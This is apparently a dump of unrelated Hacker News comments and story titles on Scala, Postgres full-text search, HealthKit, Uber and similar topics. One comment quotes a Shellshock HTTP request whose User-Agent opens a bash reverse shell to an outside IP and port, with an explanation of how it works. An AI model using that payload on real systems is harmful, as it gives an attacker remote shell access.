skysight-inc/HackerNews huggingface dataset:
1. If you could manage to make a single point without
using multiple strawmen and sweeping generalizations,
people would take you more seriously.

2. Just read your own text. You have made up your mind
(perfectly fine), but you are desperately making up
arbitrary claims to fit your own view (increasingly
ridiculous).

3. Additionally, you are completely unable to refer to
specific instances of what you think is wrong and only
respond with abstract platitudes which could include
everything or nothing.

4. Reading a bit about Scala on the Internet and
repeating it doesn't make you an expert.

That's the issue.
Making Our Events More Inclusive for Those Under 21 (and Also Everyone Else)
I would just like to point out that, for all the talk of routers being vunerable, routers in general use busybox, which in turn uses ash shell as the default shell. Most routers will not be vunerable unless bash was explicitly installed.

https://forum.openwrt.org/viewtopic.php?id=52937
no firefox support
I doubt it. Blackboard is a full blown Learning Management System (LMS). This looks more like an Edmodo competitor -> pretty much like a Hangouts for Classrooms.
The problem with HealthKit is the lack of testing. Developers may have had the beta app for months - but it couldn't do anything. The app relies (mostly) on data from third party apps and due to the beta testing limitations (100 devices) people running iOS 8 betas couldn't install HealthKit beta apps and test them with the HealthKit app. Same things applies to keyboards which I've found to be very buggy and I think most of it is on the OS side not the keyboard app side. Hopefully this won't be as big of an issue next year with the new TestFlight service (1000 users limitation).
I live in South Africa, so we didn't have an S&L crisis :) But yes, a lot of architects do play with CAD
>Name calling is of little benefit. It is a form of violence.

No it is not:

the use of physical force to harm someone, to damage property, etc.

"I don't like X" does not mean you can lie about what X is to try to convince others not to like it too.
Lenovo says $2.1B IBM x86 server deal to close on Wednesday
and also http://visual-marks.com?
You/they might be interested in WardrobeCMS as well, it's a pretty nice markdown editor. http://wardrobecms.com/
What's asmjs Facebook is using?
GoPro launches new Hero4 camera lineup
https://sslmate.com/ - not used, but bookmarked.
Starting from Scratch: Android – ActionBar
Doorbot becomes Ring
Macy’s Takes iBeacon Technology Nationwide, Installing More Than 4,000 Devices
>came from the old brain-dead MySQL query optimizer (which has since been fixed, as far as I know).

It came from the fact that mysql doesn't support joins properly. I do not believe this has been fixed, as far as I know it still only supports nested loop joins.
Crittenden Middle School in Mountain View has switched over to this, we love it. The amount of parent/student/teacher collaboration and transparency is unparalleled.

BTW: they're not using Chrome Books, but some kind of fancy HP Android tablets.
Good point, I probably should have mentioned The Great Stagnation as well since the two books cover very similar topics. Average Is Over is newer though, so probably better reflects Cowen's current thinking.
Have you seen MIT OCW videos?
Find + xargs needs a lot more syntactic sugar before people start using it on a regular basis.
How to use science to make better decisions
This is a glacier in Jasper, AB, Canada as well. Very cool to see in person.

https://www.google.com/maps/place/Columbia+Icefield+Discover...
The proper way and the good-enough way of doing things
> Or if you're using Postgres, you can return the metadata as an associative array. E.G. http://stackoverflow.com/a/11942726

That's not an associative array, it's just an array of a composite type. The hstore type is probably the closest you'd get to an associate array in PostgreSQL, but the keys and values are always strings.
I would guess it correlates highly with number of posts, so I just think of it as a proxy for "highly active long-time users". Another measure could just be postcount. Karma is like a slightly "corrected" postcount that is supposed to boost people who post highly regarded posts, and downrank those who post a lot but mostly junk. But I would guess just raw number of posts is still the main explanatory factor in the ranking (I don't have the data to test this guess, unfortunately).
This is incorrect. Byte-level deduplication does work with anchor points, but it is extremely expensive. Jeff decided to let the application do byte-level deduplication and implement block-level deduplication instead. This gave us something that was reasonable to implement at the filesystem level.
GET /cgi-bin/ HTTP/1.1 Host: <SERVER_IP> User-Agent: () { :;}; /bin/ -c ‘/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1′

"Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself. Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system."

Maybe I'm seeing this wrong, but isn't the /dev filesystem provided by the kernel?
I'm not sure about NYC, but it is cheaper in London to get an Uber than a taxi.
Hey, thanks for the article. I'm still going through it now. Would it work for my scenario? I'm full text indexing large legal documents - 50 to even 300 pages. What I've been doing is just throwing the entire document (OCR) into a big mysql (Mariadb 10) LONGTEXT columns. Then I'm using a JDBC river to shoot those over to elasticsearch.

I don't fully understand elasticsearch, because like you said it's insane. The query that I build to perform a simple search (think a google-like search box with a go button) is about 100 lines.

Should I try out postgres full text search for my purposes? I guess I could change to indexing page by page, and then I could group on the document hash to stamp out duplicates. That would also get me a list of page numbers where the results were. I'm not sure if I could get the snippets though. (What I call a snippet is the word surrounding the match - I'm returning that to datatables so that the user can search within their search to further refine the search.)

Here's what my search (and results) looks like now: http://imgur.com/Fjckva6 As you can tell, I'm not too familiar with elasticsearch (A shameful offset input!) and I'm more comfortable in a RDBMS.
Thank you very much for the suggestion! I will go ahead and buy the book.
> PostGRE

It's called Postgres, or PostgreSQL, by the way.
Attack of the Job Ad Drones
Aside from the debate over the MIT has/has-not a computer in 1967 or will in 1987, I think the more interesting aspect of the piece is the normative suggestions it has in terms of thinking about how computers should be used in organizations.

The notion that it eliminates the instinctual and actually introduces information is actually an incredible insight to have at the dawn of available(ish) computing.

One developed, if one had any sense, a reasonably good instinct for what
invention was plausible and likely to fly, and what wasn’t. But real
information just wasn’t to be had. Now, for the first time, it’s beginning to be
available—and the overall impact on society is bound to be very great

Looking at the behavior of large organizations it's clear to see that many of them have not internalized this insight. In terms of exploiting what computers can mean for non-technically oriented organizations we haven't gotten much farther than the payrolls he mentions, " I’m not saying we shouldn’t be using the computer for payrolls, but that’s beside the point. If payrolls were all it could do, we wouldn’t be interested in it."

It's always nice to chew on some good old thoughts that are still relevant.
> It's 100% interop ensures that you can only implement bits and pieces in Kotlin, not necessarily the entire app.

As long as Kotlin is not identical to javac, there is and never will be 100% interop.

> Scala has got more things that Kotlin, there is a comparison of features: http://confluence.jetbrains.com/display/Kotlin/Comparison+to....

While this is a valid point (although the comparison is probably outdated) we should keep in mind that years ago, Scala 1.0 (or something like that) was were Kotlin might be today.

There are reasons why Scala evolved from a "better Java".
Read through the paper quickly, seems like a nice representation and solution of the problem. I have a couple of questions if you wouldn't mind.

You say this in the paper:

> It is an interesting observation that writing the Prolog query on the simpler form (Figure 18) made it amenable to heuristic optimization by sorting the values searched for, while this was not possible in the longer Prolog program

I'm afraid I didn't read carefully and will go back, but could you clarify this a bit? I didn't understand about the longer vs. the shorter prolog code. Would this optimization be required always get better performance than Jena or Pellet?

And then this:

> Additionally, a drawback of SWI-Prolog speci?cally, against Jena and Pellet, is that since it is not written in Java, it is not as portable (i.e. the same code can not easily be executed) to di?erent platforms such as Mac, Windows, Linux etc. Instead the source code has to be compiled separately for each platform. This also has the result that the SWI-Prolog Bioclipse integration plugin will not be as portable as Bioclipse itself.

Really, though, Bioclipse is dependent on the portabilty of Eclipse which probably doesn't support any more platforms than SWI Prolog (and most probably fewer than SWI Prolog), so I wouldn't really see that as a limitation. I would think you could provide the binaries in the distribution itself.
This looks really interesting. Another course / book that I have used in the past which was great for getting to grips with the ideas of an entire system from scratch was http://www.nand2tetris.org/
HealthKit apps are restricted from using iCloud and apple uses it's separate HealthKit service to back the data up I believe.
>Do you not recall the age of customer feedback pages hosted behind SSL that actually just sent plain text emails over the internet to the customer service email?

Or online purchasing pages that just sent plain text emails containing the credit card info to sales@domain? Today is still that age unfortunately, I just ran into one the other day.
Instead of having a common /usr/src/* for a dev team (I remember I had one in the 80s) we have our sources on github now which allows for larger and more distributed dev teams. Not exactly the same way to collaborate but it's solving the same problem with a bigger central server. Time is round, old solutions always resurface with some differences.
Founder at WhatsBusy
First normal form excludes variable repeating fields and groups

What are the definitions of "variable repeating fields" and "groups?"

What would violating records look like?
Downtown Las Vegas Is the Great American Techtopia
A picture is worth a thousand words... even for "serious" journalism. I would consider converting the frontpage into a masonry-style frontview.

Your twitter login is too permissive, I'm not going to give you access to tweeting for me, editing my profile, and following new people (we just met!). Tone it down to a simple email or id and ask for more powers later.

Finally, I like the visual design of the site, but I would recommend downsizing your topbar for logged in users if you don't already (I haven't logged in for the aforementioned reason).

As a final thought I'd suggest adding "source curation groups" as an extension to the opinion section if your process to add new news sources can be automated, it would be a good way to drive user involvement and build a community. This may be counter to your idea of a well-rounded news source, however.

This is a great idea and I see myself using it in the future. Please don't take these superficial details as a judgment of your entire work.
Is the Meeting Room Free?
Software stack from Eclipse could unleash Java developer army on IoT
Why do you think they're doing it because they 'have to' instead of doing it because they 'can'.
This sounds like a promising idea to me. Transparency into what data you're giving away and a monetary incentive is a win win IMO.
Classroom is something that competes directly with Hapara's [1] Teacher Dashboard product that they charge at $4/student

[1] hapara.com/products/#teacher-dashboard
Ello co-founder: we have NO exit strategy
An aside, pg isn't on the leaderboards, and never was, since he was always far ahead on points. But, it looks like tptacek has finally passed him.

https://news.ycombinator.com/user?id=pg
So you wanna learn how to design? Here's what you can do to get started
Your reaction is precisely why some of us feel that Scala is not ready for projects that are targeting long term backwards compatibility and are large. A 5 year old release is not prehistoric when you are thinking of building a system for the long term that will be very big. In that style of system you often see corners of the code base that are not touched for much longer than 5 years.

The Scala team has further caused optic issues here by using what appears to be a semantic version number but in no way shape or form following semantic versioning procedures around compatibility breaking changes.

[edit] Further bringing Java 1.4 into this is really problematic as it is past the 10 year mark on age and will run just fine with nearly any Java project right now.
I wonder what happens to certificates if a customer leaves Cloudflare?

What keeps revocation lists from ballooning as customers "try out" the service?
http://citeseerx.ist.psu.edu/search?q=java&submit=Search&sor...

Results 1 - 10 of 119,620

What's your point again?
First: interesting company and concept. I would love to see this go further, will be keeping my eye on it.

Second: who's idea was it to implement that wretched parallax effect on their homepage? Not only is it a tawdry but it gives me vertigo which is usually a rare experience on the modern web and has thus-far created a very negative experience for me. I stopped looking at the homepage and just read the wikipedia article on the company instead so my eyes wouldn't hurt.
This looks really cool. Do you plan to release an API? I would love to be able to send the articles to my Kindle, and maybe come up with some crazy IFTTT recipe.
The one problem I had with Thiel is that he seems to conflate what worked for him with what works in general. Cowen, as an outside observer, has a more objective point of view.
Working on that. Lots and lots of certs to issue. Seeing about making message "smarter" (checking your individual status) if possible.
So they tell you to "reclaim" your data by letting them sell your personal data? Datapimp seems an more apt name for them, implications included.
Brain Fitness
People who are behind the times browser-wise tend to be very behind (IE on XP, Android 2.x/3.x) - so I don't think ECDSA will be much of a limiting factor once you take people who can't access SNI based certs out of consideration.
I learnt how to do proofs and what proofs really mean in my abstract algebra class. I still use abstract algebra to refresh my math skills.
Yes, yes it is

Heuristics may help, but in the end you either go through "all" of it or use approximate methods that will give you a good solution but not necessarily the best one (like Genetic Algorithms, Simulated Annealing, swarm optimization, etc)
"On the other hand, if this claim were actually true, it would invalidate basically the entire field of mathematical optimization and decision theory."

I might be able to help by pointing out that a technology that depends on random sampling of small components of "intelligence" or whatever is going to be totally screwed up if the sampling is no longer random and now the outcome of the test depends mostly on the amount of money spent on prep classes.

From manufacturing I can predict a lot about the quality of something in general off just one graph of the distribution of length of one part compared to other manufacturers graphs of the same single measurement on the same part, but if the mfgr "cooks the books" by optimizing one measurment of that part to perfection while taking away labor from other areas of part quality, then my comparisons will be useless, especially when comparing optimizers vs non-optimizers.
Collaboration 3.0: 8 trends today that will define our tools tomorrow
>We decided to test two identical versions of our homepage against each other... we saw that the new variation, which was identical to the first, saw an 18.1% improvement. Even more troubling was that there was a “100%” probability of this result being accurate.

Wow. Cool explanation of one-tailed, two tailed tests. Somehow I have never run across that. Here's a link with more detail (I think it's the one intended in the article, but a different one was used): http://www.ats.ucla.edu/stat/mult_pkg/faq/general/tail_tests...
This is really impressive, it shows a clarity of thought and awareness of the impact that trends of the day would have on the future. Most people predicting the future don't do it nearly as well.

But even with all that, Peter Drucker couldn't predict Moore's Law.
The Route Blanche outside Chamonix gives a great view of the Glacier des Bossons, coming down off Mont Blanc:

https://www.google.co.uk/maps/@45.9079772,6.8476677,3a,41.4y...
in windows world you pay for the servers, exchange, cals for both and on top whatever price for office we haven't even got to hardware yet Chromebooks are cheap.
Yeah I've had to restart my phone four times so far and the data does seem to come back, but anything that was logged during the time it didn't work isn't there.

Also, it seems to be losing whole days' worth of data from the MyFitnessPal app. For example, I'll have today's Nutrition data in there but tomorrow when I add breakfast it will likely have lost all today's data so the graphs always start "today" even though I had put data in yesterday. I'm not sure if this is HealthKit or the app, though, because things I put in manually using the Health app seem to stick.
Yep, choosing the correct joining method is one of the tasks that a query optimizer (a.k.a. join engine) performs. I think someone around here pointed me toward a document that indicated that there was, at the very least, an experimental competent query optimizer in the MySQL codebase.

Even then it's a far cry away from "the big guns." Things like statistics, DPVs, etc. simply aren't (edit: or weren't) present in MySQL: which are more examples of a critical components of efficient database design at massive load scales.

TLDR; MySQL simply isn't competitive, it's being improved (especially MariaDB) but is a long ways off.
> You might think that the extreme lengths taken to ensure you never have to cast a type during collection transformations isn't PL-research showmanship that comes at the expense of code readability and getting stuff done, but a wise bug-preventing measure.

This is a complete caricature of the benefits of type-safe languages. Why should anyone engage with you when you can't be bothered to look into the (claimed) benefits of what you're arguing against?
I'm also not a big fan of Moodle, but it does have the advantage of being self-hosted and open-source. Moving student data to a cloud provider adds a bunch of legal complexity, at least here (Denmark). I can use anything I want for non-student data, such as syllabi, assignments, notes, lecture slides, and the like. But I don't think I could have students submit formal, graded assignments through a Google cloud product, or put the actual grades there. Relying on a third-party service would also probably be ruled out unless it comes with some kind of deprecation guarantee (e.g. we're guaranteed at least one academic year lead-time for notification of major changes, discontinuation, or fees).

We do use MS Office 365 for email and calendaring, but I believe they (Microsoft) got some sort of stamp of approval from the education ministry first, and it does come with a long-term service agreement (it isn't free, though).
ZooKeeper: Wait-free coordination for Internet-scale systems
Well, it would appear to be more like stripped down Pelican https://github.com/getpelican

(And yes, calepin is in fact a service that is built using Pelican as the backend.)
Apple isn't specific on that point in their documentation, but I'd expect it to be included only in encrypted iTunes backups, like other secure items.
Great, thanks so much for the feedback! I'll definitely take on board your thoughts.
Thanks again
> isn't the /dev filesystem provided by the kernel?

It is, but for /dev/tcp bash isn't really using it - that gets translated instead to internal socket handling code (i.e. nothing gets created/accessed in the real /dev) much like when you use "echo" - bash uses its built-in by default instead of forking to the external command of that name.
Actually, pg was on the leaderboard for years. But, yes, his name was eventually removed, and while it was on the leaderboard, it was typically the top username by a very wide margin.
Secure Coding Practices for iOS
But at its core, Uber is a black-market taxi service (unlicensed vendor operating in a regulated market). Just like cigarettes and alcohol are cheaper in the black market where vendors don't pay taxes, one would expect Uber to be cheaper than the taxis that have to pay medallion fees and meet licensing regs. Cheaper doesn't mean right. If you like Uber, lobby to change taxi cab regulations (and I think you may find that while there may be room for improvement in their implementation, there are reasons for taxi cab regulations).
NFL Arrest API
Shouldn't this query:

SELECT to_tsvector(post.title) ||
to_tsvector(post.content) ||
to_tsvector(author.name) ||
to_tsvector(coalesce((string_agg(tag.name, ' ')), '')) as document
FROM post
JOIN author ON author.id = post.author_id
JOIN posts_tags ON posts_tags.post_id = posts_tags.tag_id
JOIN tag ON tag.id = posts_tags.tag_id
GROUP BY post.id, author.id;

be rewritten as:

SELECT to_tsvector(post.title) ||
to_tsvector(post.content) ||
to_tsvector(author.name) ||
to_tsvector(coalesce((string_agg(tag.name, ' ')), '')) as document
FROM post
JOIN author ON author.id = post.author_id
JOIN posts_tags ON posts_tags.post_id = post.id
JOIN tag ON tag.id = posts_tags.tag_id
GROUP BY post.id, author.id;
> A 5 year old release is not prehistoric when you are thinking of building a system for the long term that will be very big.

Then enterprises should probably stay away from Java, too.

Java 7 GA: July 2011.
Java 7 EOL: April 2015.

That's not even 4 years.

> The Scala team has further caused optic issues here by using what appears to be a semantic version number but in no way shape or form following semantic versioning procedures around compatibility breaking changes.

Yes, I agree.

I have suggested changing this multiple times, so that the HN peanut gallery isn't intellectually overwhelmed with the epoch.major.minor.patch scheme anymore.

> Further bringing Java 1.4 into this is really problematic as it is past the 10 year mark on age and will run just fine with nearly any Java project right now.

You could also run old Scala code on a current JVM.

_But_ you can also deploy current Scala to a 10 year old JVM, which is not possible with Java.